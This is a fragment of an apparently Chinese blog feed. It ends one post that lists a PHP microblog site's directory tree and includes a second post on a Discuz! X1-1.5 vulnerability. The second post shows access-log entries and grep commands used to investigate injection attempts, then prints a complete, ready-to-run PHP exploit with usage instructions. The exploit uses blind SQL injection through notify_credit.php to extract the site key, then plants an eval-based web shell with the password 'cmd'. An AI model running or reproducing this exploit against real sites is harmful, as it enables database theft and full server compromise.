<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic.mod.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote.mod.php</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ imjiqiren 机器人模块目录 -- 加密</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ sms 短信模块目录 -- 加密</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ blacklist.mod.php 黑名单模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ get_password.mod.php 找回密码模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ imjiqiren.mod.php 机器人模块---加密 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ login.mod.php 登录模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ master.mod.php 主模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ member.mod.php 用户模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ other.mod.php 杂项模块&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ pm.mod.php 站内短信模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ profile.mod.php 个人模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ qqwb.mod.php QQ微博接口模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ report.mod.php &nbsp;举报模块&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ search.mod.php 搜索模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ settings.mod.php &nbsp;个人设置模块</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ share.mod.php 分享模块 &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ show.mod.php &nbsp;个人资料展示模块</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ sms.mod.php &nbsp;短信模块</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ tag.mod.php 标签模块</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ theme.mod.php 个人模板设置模块&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ topic.mod.php 话题模块</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ url.mod.php 外链跳转模块</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ user_tag.mod.php &nbsp;个人标签模块</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ vote.mod.php 投票操作模块&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ xwb.mod.php 新浪微博模块&nbsp;</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ setting 系统设置参数目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ ad.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ admin_left_menu.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ area.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ cache.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ constants.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ credits.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ credits_rule.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ email_notice.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ face.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ filter.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ ftp.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ imjiqiren.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ link.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ member.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ report.php &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ rewrite.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ robot.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ settings.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ share.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ show.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ sina.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ slide_index.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ sms.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ smtp.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ tag.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ tag_num.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ task.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ topicface.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ tusiji_face.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ ucenter.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ user.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ web_info.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ xss.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span></p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ templates 目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ default&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ admin 后台模板目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ images 模板图片目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ js javascript目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ styles 样式目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ ajax_reminded.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ blacklist.html&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ follow_right.inc.html&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ forward_list_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ get_password_main.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ global_login.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ global_login_common.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ group.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ iframe_recommend.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ iframe_share.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ iframe_show.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ index.htm</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ index_recommend.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ media.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ media_more.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ member_register.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ member_step1.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ member_step2.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ messager.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ modify_group_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ modify_topic_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ pm_left_menu.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ pm_list.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ pm_send_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ pm_view.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ pm_view_comment_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ pm_write.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ profile_main.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ qqwb_bind_info.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ report.inc.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ search_list.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ setting_main.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ share.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ share_publish.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ showface.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ tag_index.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ tag_list_topic_box.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ tag_menu.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_about.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_black_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_fans.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_follow.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_footer.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_forward_menu.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_group.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_group_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_group_menu.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_header.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_index.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_index_guest.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_list_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_list_manage.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_medal.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_new.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_publish.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_redirect.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_remark_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_reply_list_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_right.inc.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_share.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_share_1.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_share_2.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_show.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_simple_publish.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_theme.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_top.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_user_menu.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_user_tag.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_view.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_view_comment_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_vip.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ topic_wap.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ tplinfo.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ user_face_menu.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ user_follower_menu.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ user_tag_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ view_media.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ view_notice.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_ajax_joined.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_create.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_daren_list_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_index.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_list.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_list_my_ajax.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_manage.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_me.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_publish.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_right.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ vote_view.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ weather.inc.1.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ weather.inc.2.html</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ weather_main.html</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ uc_client uc客户端目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ &nbsp;.......</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ uc_server uc服务器端目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ &nbsp;.......</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span></p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ wap 目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ cache 缓存目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ include 引用包含目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ modules 模块目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ templates 模板目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ index.php 首页</p>
<p></p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/double-mysql">同步两MySQL数据库</a></p><p><a href="http://www.holmesian.org/FreeBSD-network">FreeBSD查看当前外部网络连接情况</a></p><p><a href="http://www.holmesian.org/FreeBSD-oper">FreeBSD命令速记</a></p><p><a href="http://www.holmesian.org/post/860">Discuz! X 2 0Day</a></p><p><a href="http://www.holmesian.org/error-logs">Error-logs</a></p><p><a href="http://www.holmesian.org/post/450">Vista无法访问指定设备路径或文件</a></p></div>]]></description>
	<pubDate>Mon, 06 Jun 2011 02:13:48 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Web-File-Permissions</guid>

</item>
<item>
	<title>最新Discuz! X1- 1.5 exp 0DAY</title>
	<link>http://www.holmesian.org/Discuz-x15-bug</link>
	<description><![CDATA[<div style="line-height:normal;color:#333333;font-family:'', 'Comic Sans MS', ', 宋体, Arial';"><span class="Apple-style-span" style="border-collapse:collapse;font-family:arial, sans-serif;font-size:13px;color:#000000;"><p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"><span class="Apple-style-span" style="color:#333333;font-family:'Comic Sans MS', ', 宋体, Arial';font-size:12px;border-collapse:separate;">使用方法&nbsp; 把最后的php内容保存为exp.php&nbsp;&nbsp; 在php环境下运行 php exp.php url</span></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"><span class="Apple-style-span" style="color:#333333;font-family:'Comic Sans MS', ', 宋体, Arial';font-size:12px;border-collapse:separate;"><a target="_blank" href="/content/uploadfile/201106/0f5a25670f1647cd03dc54f61e299f6f20110604031340.png" id="ematt:174"><img src="/content/uploadfile/201106/thum-0f5a25670f1647cd03dc54f61e299f6f20110604031340.png" alt="点击查看原图" border="0" /></a></span></p>
</span> </div>
<div><p style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;"></p>
<p style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;">据说是个老漏洞，注入者的注入点是notify_credit.php</p>
<p style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;"></p>
<pre style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:12px;">cat access-xxxxxx.log | grep 'notify_credit.php' | grep 'POST'</pre><blockquote><p></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">222.218.92.38 - - [03/Jun/2011:22:39:28 +0800] "POST //api/trade/notify_credit.php HTTP/1.0" 200 243 "-" "-"</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">221.231.139.148 - - [03/Jun/2011:23:23:39 +0800] "POST /api/trade/notify_credit.php HTTP/1.0" 200 243 "-" "-"</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">14.111.210.231 - - [04/Jun/2011:00:01:31 +0800] "POST /api/trade/notify_credit.php HTTP/1.0" 200 243 "-" "-"</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">182.129.193.27 - - [04/Jun/2011:01:28:47 +0800] "POST /api/trade/notify_credit.php HTTP/1.0" 200 243 "-" "-"</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">110.190.124.73 - - [04/Jun/2011:03:25:56 +0800] "POST //api/trade/notify_credit.php HTTP/1.0" 200 244 "-" "-"</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">222.79.224.232 - - [04/Jun/2011:10:58:36 +0800] "POST /api/trade/notify_credit.php HTTP/1.0" 200 244 "-" "-"</span></span></p>
<div style="border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;line-height:normal;"><br />
</div>
<p></p>
</blockquote>
<p style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;">根据这些IP的访问记录进行筛选排查</p>
<p style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;">比如我选择IP&nbsp;<span class="Apple-style-span" style="font-size:small;">222.218.92.38</span></p>
<pre style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:12px;">cat access-xxxxxx.log  |grep 202.104.248.100|grep php |more</pre><blockquote><p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">……</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">117.43.132.127 - - [03/Jun/2011:16:52:07 +0800] "POST //api/trade/notify_credit.php HTTP/1.0" 200 244 "-" "-"</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">117.43.132.127 - - [03/Jun/2011:16:52:12 +0800] "GET /forum.php HTTP/1.1" 200 15776 "http://blog.ecjtu.net/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">117.43.132.127 - - [03/Jun/2011:16:52:14 +0800] "GET /forum.php HTTP/1.1" 200 15776 "http://blog.ecjtu.net/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">……</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">117.43.132.127 - - [03/Jun/2011:16:52:29 +0800] "POST //api/trade/notify_credit.php HTTP/1.0" 200 243 "-" "-"</span></span></p>
<p><span class="Apple-style-span" style="font-family:'arial, sans-serif';font-size:x-small;"><span class="Apple-style-span" style="border-collapse:collapse;line-height:normal;">117.43.132.127 - - [03/Jun/2011:16:52:44 +0800] "POST //api/trade/notify_credit.php HTTP/1.0" 200 243 "-" "-"</span></span></p>
</blockquote>
<p style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;">因为服务器没有开启php错误，所以应该是没有被注入成功。</p>
<p style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;">目前DiscuzX官方还没有出解决方案补丁，先等等看再说了。</p>
<p style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;"></p>
<hr style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;font-size:13px;" />
<p style="line-height:normal;border-collapse:collapse;color:#000000;font-family:arial, sans-serif;"><span class="Apple-style-span" style="font-size:medium;"><pre class="brush:php; toolbar: true; auto-links: true;">&lt;?php
print_r('
+---------------------------------------------------------------------------+
Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit
+---------------------------------------------------------------------------+
');
if ($argc &lt; 2) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url [pre]
Example:
php '.$argv[0].' http://localhost/
php '.$argv[0].' http://localhost/ xss_
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$url = $argv[1];
$pre = $argv[2]?$argv[2]:'pre_';
$target = parse_url($url);
extract($target);
$path1 = $path . '/api/trade/notify_credit.php';
$hash = array();
$hash = array_merge($hash, range(48, 57));
$hash = array_merge($hash, range(97, 102));
$tmp_expstr = "'";
$res = send();
if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}
preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);
if($match[1])$pre = $match[1];
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";
$res = send();
if(strpos($res,"doesn't exist")!==false){
    echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";
    for($i = 1;$i&lt;20;$i++){
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";
    $res = send();
    if(strpos($res,'SQL syntax')!==false){  
    $pre = '';
    $hash2 = array();
    $hash2 = array_merge($hash2, range(48, 57));
    $hash2 = array_merge($hash2, range(97, 122));
    $hash2[] = 95;
    for($j = 1;$j &lt;= $i; $j++){
    for ($k = 0; $k &lt;= 255; $k++) {
    if(in_array($k, $hash2)) {
    $char = dechex($k);
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";
    $res = send();
    if(strpos($res,'SQL syntax')!==false){
        echo chr($k);
        $pre .= chr($k);break;
    }  
    }  
    }     
    }     
    if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};
    }    }    };
echo "Please Waiting....\n";
$sitekey = '';
for($i = 1;$i &lt;= 32; $i++){
  for ($k = 0; $k &lt;= 255; $k++) {
    if(in_array($k, $hash)) {
    $char = dechex($k);
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
        echo chr($k);
        $sitekey .= chr($k);break;
}}}}
/*
修改与添加了一些代码，如果成功就能得到shell
一句话秘密是 : cmd
*/
if(strlen($sitekey)!=32) 
{
 echo "\nmy_sitekey not found. try blank my_sitekey\n";
}
else echo "\nmy_sitekey:{$sitekey}\n";
echo "\nUploading Shell...";
$module = 'video';
$method = 'authauth';
$params = 'a:3:{i:0;i:1;i:1;s:36:"PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";i:2;s:3:"php";}';
$sign = md5($module . '|' . $method . '|' . $params . '|' . $sitekey);
$data = "module=$module&amp;method=$method?ms=$params&amp;sign=$sign";
$path2 = $path . "/api/manyou/my.php";
POST($host,80,$path2,$data,30);
echo "\nGetting Shell Location...\n";
$file = '';
for($i = 1;$i &lt;= 32; $i++){
 for ($k = 0; $k &lt;= 255; $k++) {
     if(in_array($k, $hash)) {
   $char = dechex($k);
   $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_member_field_home WHERE uid=1 AND MID(videophoto,{$i},1)=0x{$char} AND ''='";
   $res = send();
   if(strpos($res,'SQL syntax')!==false){
    echo chr($k);
    $file .= chr($k);break;
   }
  }
 }
}
echo "\nShell: $host$path/data/avatar/". substr($file,0,1) . "/" . substr($file,1,1) . "/$file.php";
exit;
function sign($exp_str){
    return md5("attach=tenpay&amp;mch_vno={$exp_str}&amp;retcode=0&amp;key=");
}
function send(){
    global $host, $path1, $tmp_expstr;
     
    $expdata = "attach=tenpay&amp;retcode=0&amp;trade_no=%2527&amp;mch_vno=".urlencode(urlencode($tmp_expstr))."&amp;sign=".sign($tmp_expstr);
    return POST($host,80,$path1,$expdata,30);
}  
function POST($host,$port,$path,$data,$timeout, $cookie='') {
 $buffer='';
    $fp = fsockopen($host,$port,$errno,$errstr,$timeout);
    if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno); 
 else {
        fputs($fp, "POST $path HTTP/1.0\r\n");
        fputs($fp, "Host: $host\r\n");
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
        fputs($fp, "Content-length: ".strlen($data)."\r\n");
        fputs($fp, "Connection: close\r\n\r\n");
        fputs($fp, $data."\r\n\r\n");
       
  while(!feof($fp)) 
  {
   $buffer .= fgets($fp,4096);
  }
  
  fclose($fp);
    } 
 return $buffer;
} 
?&gt;</pre><br />
</span></p>
 </div>
<div style="line-height:normal;color:#333333;font-family:'', 'Comic Sans MS', ', 宋体, Arial';"><br />
</div>
<div style="line-height:normal;color:#333333;font-family:'', 'Comic Sans MS', ', 宋体, Arial';"><div><div><div><br />
</div>
</div>
